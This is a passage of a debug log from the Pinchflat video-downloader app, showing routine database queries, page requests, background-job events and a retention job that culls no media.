FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1973] 03:52:47.306 [debug] QUERY OK source="settings" db=7.2ms queue=0.1ms idle=261.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:47.311 [debug] QUERY OK source="settings" db=3.2ms queue=1.0ms idle=267.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:47.319 [debug] QUERY OK source="settings" db=5.0ms queue=0.1ms idle=274.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:47.332 [debug] QUERY OK source="media_profiles" db=9.0ms queue=0.1ms idle=33.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:52:48.725 [info] Sent 200 in 1693ms 03:53:00.972 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:13.214 [info] {"source":"oban","duration":2916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:19.429 [info] GET /sources/6/media/76347 03:53:19.429 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76347", "source_id" => "6"} Pipelines: [:browser] 03:53:19.431 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=805.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76347] 03:53:19.434 [debug] QUERY OK source="tasks" db=1.1ms queue=0.9ms idle=808.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76347] 03:53:19.435 [debug] QUERY OK source="sources" db=0.6ms queue=0.7ms idle=809.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:53:19.436 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.3ms idle=811.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1971] 03:53:19.439 [debug] QUERY OK source="settings" db=0.6ms idle=60.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:19.441 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:19.443 [debug] QUERY OK source="settings" db=0.4ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:19.445 [debug] QUERY OK source="media_profiles" db=1.5ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:53:19.484 [info] Sent 200 in 55ms 03:53:43.216 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.977 [info] {"source":"oban","duration":4036,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:13.218 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:43.220 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.978 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:01.037 [info] GET /media_profiles 03:55:01.037 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 03:55:01.042 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.1ms idle=414.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 03:55:01.043 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=417.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:01.045 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=419.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:01.046 [debug] QUERY OK source="settings" db=0.6ms idle=189.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:01.052 [info] Sent 200 in 15ms 03:55:13.222 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:43.224 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.979 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:13.226 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:17.704 [info] GET /sources/6/media/76348 03:56:17.704 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76348", "source_id" => "6"} Pipelines: [:browser] 03:56:17.706 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1080.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76348] 03:56:17.708 [debug] QUERY OK source="tasks" db=1.4ms idle=1081.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76348] 03:56:17.709 [debug] QUERY OK source="sources" db=2.3ms idle=1081.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:56:17.713 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=1086.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1972] 03:56:17.715 [debug] QUERY OK source="settings" db=1.4ms idle=608.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.715 [debug] QUERY OK source="settings" db=0.2ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.716 [debug] QUERY OK source="settings" db=0.6ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.718 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:56:17.783 [info] Sent 200 in 78ms 03:56:17.859 [info] GET /sources/6/media/76376 03:56:17.859 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76376", "source_id" => "6"} Pipelines: [:browser] 03:56:17.860 [debug] QUERY OK source="media_items" db=0.6ms idle=147.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76376] 03:56:17.862 [debug] QUERY OK source="sources" db=0.6ms idle=145.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:56:17.863 [debug] QUERY OK source="tasks" db=2.0ms idle=146.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76376] 03:56:17.864 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=147.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1974] 03:56:17.865 [debug] QUERY OK source="settings" db=0.3ms idle=146.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.866 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.867 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:17.876 [debug] QUERY OK source="media_profiles" db=1.7ms idle=10.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:56:17.902 [info] Sent 200 in 43ms 03:56:43.228 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.983 [info] {"source":"oban","duration":2880,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:13.231 [info] {"source":"oban","duration":2337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:33.526 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 03:57:43.233 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.984 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:13.236 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:43.239 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.985 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:13.241 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:43.243 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:01.149 [info] {"source":"oban","duration":162317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2223]} 04:00:01.311 [info] {"args":{},"id":2223,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765328401306660996,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 04:00:02.177 [debug] QUERY OK source="media_items" db=862.2ms queue=0.1ms idle=685.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 04:00:02.179 [info] Culling 0 media items past their retention date 04:00:02.196 [debug] QUERY OK source="media_items" db=10.2ms queue=5.9ms idle=1359.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 04:00:02.196 [info] Deleting 0 media items that are from before the source cutoff 04:00:02.238 [info] {"args":{},"id":2223,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":890384,"event":"job:stop","attempt":1,"queue_time":68256,"tags":["media_item","local_data"]} 04:00:13.355 [info] {"source":"oban","duration":109718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:43.421 [info] {"source":"oban","duration":64988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.150 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:13.423 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:43.425 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.151 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:13.427 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:43.429 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.160 [info] {"source":"oban","duration":7857,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:13.431 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:43.434 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.163 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:13.436 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:43.438 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.165 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:13.440 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:43.442 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.173 [info] {"source":"oban","duration":6939,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:13.444 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:43.446 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.175 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:13.448 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:43.450 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.180 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:13.455 [info] {"source":"oban","duration":3883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:43.457 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.184 [info] {"source":"oban","duration":4034,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:13.459 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:33.582 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 04:09:43.461 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.188 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:13.463 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:43.465 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.191 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:13.467 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:43.469 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.198 [info] {"source":"oban","duration":2759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:13.471 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:43.473 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.205 [info] {"source":"oban","duration":6006,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:13.475 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:43.480 [info] {"source":"oban","duration":4379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.215 [info] {"source":"oban","duration":8375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:13.483 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:43.485 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.218 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:13.487 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:43.489 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.219 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:13.491 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:43.494 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.220 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:13.497 [info] {"source":"oban","duration":2391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:43.499 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.223 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:13.501 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:33.617 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 04:18:43.503 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.231 [info] {"source":"oban","duration":5157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:13.505 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:43.507 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.232 [info] 